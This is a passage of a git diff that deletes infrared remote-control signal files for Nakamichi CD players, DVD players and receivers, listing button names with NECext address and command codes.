-protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: EJECT/LOAD -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CC 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CD 00 00 00 -# -name: TRACK_NO_CLEAR -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CD 00 00 00 -# -name: CLEAR_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CD 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CE 00 00 00 -# -name: 0_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CE 00 00 00 -# -name: TRACK_NO_0 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CE 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CF 00 00 00 -# -name: 1_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CF 00 00 00 -# -name: TRACK_NO_1 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CF 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D0 00 00 00 -# -name: 2_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D0 00 00 00 -# -name: TRACK_NO_2 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D0 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D1 00 00 00 -# -name: 3_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D1 00 00 00 -# -name: TRACK_NO_3 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D1 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D2 00 00 00 -# -name: 4_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D2 00 00 00 -# -name: TRACK_NO_4 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D2 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D3 00 00 00 -# -name: 5_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D3 00 00 00 -# -name: TRACK_NO_5 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D3 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D4 00 00 00 -# -name: 6_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D4 00 00 00 -# -name: TRACK_NO_6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D4 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D5 00 00 00 -# -name: 7_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D5 00 00 00 -# -name: TRACK_NO_7 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D5 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D6 00 00 00 -# -name: 8_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D6 00 00 00 -# -name: TRACK_NO_8 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D6 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D7 00 00 00 -# -name: 9_TRACK_NO. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D7 00 00 00 -# -name: TRACK_NO_9 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D7 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D8 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 67 00 00 00 -command: D9 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DB 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DB 00 00 00 -# -name: A.S.R. -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DC 00 00 00 -# -name: SR/TE_T.EDIT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DD 00 00 00 -# -name: T.EDIT -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DD 00 00 00 -# -name: SR/TE_TEDIT/FADE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DE 00 00 00 -# -name: SR/TE_RESET -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DF 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir deleted file mode 100644 index 015599643..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 80 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 82 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 83 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: C5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir deleted file mode 100644 index 631e3810a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 00 00 00 00 -# -name: Z_-_TRACK_(_+_) -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 01 00 00 00 -# -name: Z_-_TRACK_(_-_) -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 02 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 03 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 06 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 09 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 0B 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 0F 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 10 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 10 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 13 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 14 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 18 00 00 00 -# -name: SUBTITLE_-_ON_/_OFF -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 1A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 1B 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 1D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 40 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 42 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 43 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 44 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 45 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 46 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 47 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 49 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 4B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 4B 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 4E 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 4F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 50 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 58 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 59 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 5C 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 5C A2 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir deleted file mode 100644 index c4f309435..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: CD_DISC_^ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: CD_DISC_1-6 -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 8F 00 00 00 -# -name: CD_DISC_V -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 90 00 00 00 -# -name: CD_DISC_SCAN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 93 00 00 00 -# -name: DISC_SCAN -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 93 00 00 00 -# -name: CD_SINGLE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: 9A 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C1 00 00 00 -# -name: CD_SKIP_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: CD_TRACK_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: CD_< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: CD_SKIP_I< -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C2 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C5 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C6 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C7 00 00 00 -# -name: CD_SKIP_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: CD_TRACK_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: CD_> -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: CD_SKIP_>I -type: parsed -protocol: NECext -address: 67 00 00 00 -command: C8 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 67 00 00 00 -command: CB 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DB 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 67 00 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir deleted file mode 100644 index 664573a06..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir +++ /dev/null @@ -1,572 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 00 00 00 00 -# -name: INPUT_-_DVD -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 00 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 01 00 00 00 -# -name: INPUT_-_VIDEO -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 01 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 03 00 00 00 -# -name: INPUT_-_CD -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 04 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 05 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 05 00 00 00 -# -name: VOLUME_-_UP -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 05 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 07 00 00 00 -# -name: INPUT_-_VCR_2 -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 07 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 08 00 00 00 -# -name: INPUT_-_TUNER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 08 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0A 00 00 00 -# -name: INPUT_-_AUX -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0A 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0B 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0B 00 00 00 -# -name: INPUT_-_VCR_1 -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0C 00 00 00 -# -name: VOLUME_-_MUTE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0C 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 0F 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 10 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 10 00 00 00 -# -name: VOLUME_-_DOWN -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 10 00 00 00 -# -name: INPUT_ATT. -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 11 00 00 00 -# -name: SURND_-_INPUT_ATT. -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 11 00 00 00 -# -name: TAPE_MONITOR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 12 00 00 00 -# -name: TAPE/MONITOR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 12 00 00 00 -# -name: INPUT_-_TAPE_MONITOR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 12 00 00 00 -# -name: DIGITAL_INPUT -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 1C 00 00 00 -# -name: INPUT_-_DIGITAL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 1C 00 00 00 -# -name: DISPLY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 1E 00 00 00 -# -name: DOLBY_DIGITAL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 40 00 00 00 -# -name: SURR_-_DIGITAL_DOLBY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 40 00 00 00 -# -name: DOLBY_PRO -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 41 00 00 00 -# -name: SURROUND_PRO_LOGIC -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 41 00 00 00 -# -name: SURR_-_PRO_LOGIC -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 41 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 42 00 00 00 -# -name: SURROUND_OFF -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 42 00 00 00 -# -name: SURR_-_OFF -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 42 00 00 00 -# -name: SURROUND_CENTER_MODE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 43 00 00 00 -# -name: DYN_RANGE_COMP. -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 44 00 00 00 -# -name: SURND_-_D.RANG_COMP -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 44 00 00 00 -# -name: LFE_ATT. -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 45 00 00 00 -# -name: SURND_-_LFE_ATT. -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 45 00 00 00 -# -name: SURND_-_SPKR_SELECT -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 46 00 00 00 -# -name: SURND_-_SPKR_MODE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 47 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 48 00 00 00 -# -name: SURROUND_TEST_TONE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 48 00 00 00 -# -name: SURND_-_TEST_TONE -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 48 00 00 00 -# -name: CALIBRATION_LEVEL_+ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4A 00 00 00 -# -name: SURROUND_CAL._+ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4A 00 00 00 -# -name: SURND_-_CAL_(_+_) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4A 00 00 00 -# -name: CALIBRATION_LEVEL_- -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4B 00 00 00 -# -name: SURROUND_CAL._- -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4B 00 00 00 -# -name: SURND_-_CAL_(_-_) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4B 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4D 00 00 00 -# -name: SURND_-_SW -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4D 00 00 00 -# -name: RIGHT_REAR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4E 00 00 00 -# -name: SURND_-_REAR_(_R_) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4E 00 00 00 -# -name: REAR_DELAY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4F 00 00 00 -# -name: SURROUND_DELAY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4F 00 00 00 -# -name: SURND_-_DELAY_(REAR) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 4F 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 51 00 00 00 -# -name: SURROUND_CENTER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 51 00 00 00 -# -name: SURND_-_CENTER -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 51 00 00 00 -# -name: LEFT_REAR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 52 00 00 00 -# -name: SURROUND_REAR -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 52 00 00 00 -# -name: SURND_-_REAR_(_L_) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 52 00 00 00 -# -name: CENTER_DELAY -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 53 00 00 00 -# -name: SURND_-_DELAY_(CNTR) -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 53 00 00 00 -# -name: NATURAL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 54 00 00 00 -# -name: SURROUND_NATURAL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 54 00 00 00 -# -name: SURR_-_NATURAL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 54 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 55 00 00 00 -# -name: SURROUND_HALL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 55 00 00 00 -# -name: SURR_-_HALL -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 55 00 00 00 -# -name: SURROUND_STADIUM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 56 00 00 00 -# -name: SURR_-_STADIUM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 56 00 00 00 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 58 00 00 00 -# -name: TUNER_-_FM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 58 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 59 00 00 00 -# -name: TUNER_-_AM -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 59 00 00 00 -# -name: TUNER_SHIFT -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5A 00 00 00 -# -name: TUNER_-_SHIFT -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5A 00 00 00 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5C 00 00 00 -# -name: TUNER_-_PRESET_UP -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5C 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5D 00 00 00 -# -name: TUNER_-_PRESET_DOWN -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5D 00 00 00 -# -name: TUNER_SEEK_^ -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5E 00 00 00 -# -name: TUNER_-_SEEK_UP -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5E 00 00 00 -# -name: TUNER_SEEK_V -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5F 00 00 00 -# -name: TUNER_-_SEEK_DOWN -type: parsed -protocol: NECext -address: 82 5D 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir deleted file mode 100644 index d4452c9d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 03 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 04 00 00 00 -# -name: TUNER_P.SCAN_P.CALL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 06 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 07 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0E 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 0F 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 3B 00 00 00 -# -name: TUNER_0 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 40 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 41 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 42 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 43 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 44 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 45 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 46 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 47 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 48 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 49 00 00 00 -# -name: CONTROL_^ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 4F 00 00 00 -# -name: CONTROL_V -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 50 00 00 00 -# -name: SUPER_BASS -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 68 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 6A 00 00 00 -# -name: TREBLE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 6C 00 00 00 -# -name: BALANCE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 6E 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 78 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 79 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: BA 00 00 00 -command: 7F 00 00 00 -# -name: TUNER_TUNING_^ -type: parsed -protocol: NECext -address: BA 00 00 00 -command: B2 00 00 00 -# -name: TUNER_TUNING_V -type: parsed -protocol: NECext -address: BA 00 00 00 -command: B3 00 00 00 -# -name: SURROUND_OFF -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E0 00 00 00 -# -name: DOLBY_PRO.LOGIC -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E1 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E3 00 00 00 -# -name: NATURAL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E4 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E5 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E7 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: BA 00 00 00 -command: E9 00 00 00 -# -name: REAR_LEVEL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: F0 00 00 00 -# -name: CENTER_LEVEL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: F2 00 00 00 -# -name: MEMORY_CALL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: F4 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: F6 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: BA 00 00 00 -command: F7 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: BA 00 00 00 -command: FB 00 00 00 -# -name: SPATIAL -type: parsed -protocol: NECext -address: BA 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir deleted file mode 100644 index 1196f9425..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir +++ /dev/null @@ -1,536 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 03 00 00 00 -# -name: TUNER_SEEK^(TAPE1) -type: parsed -protocol: NECext -address: 5C 00 00 00 -command: 04 00 00 00 -# -name: SEEK_> -type: parsed -protocol: NECext 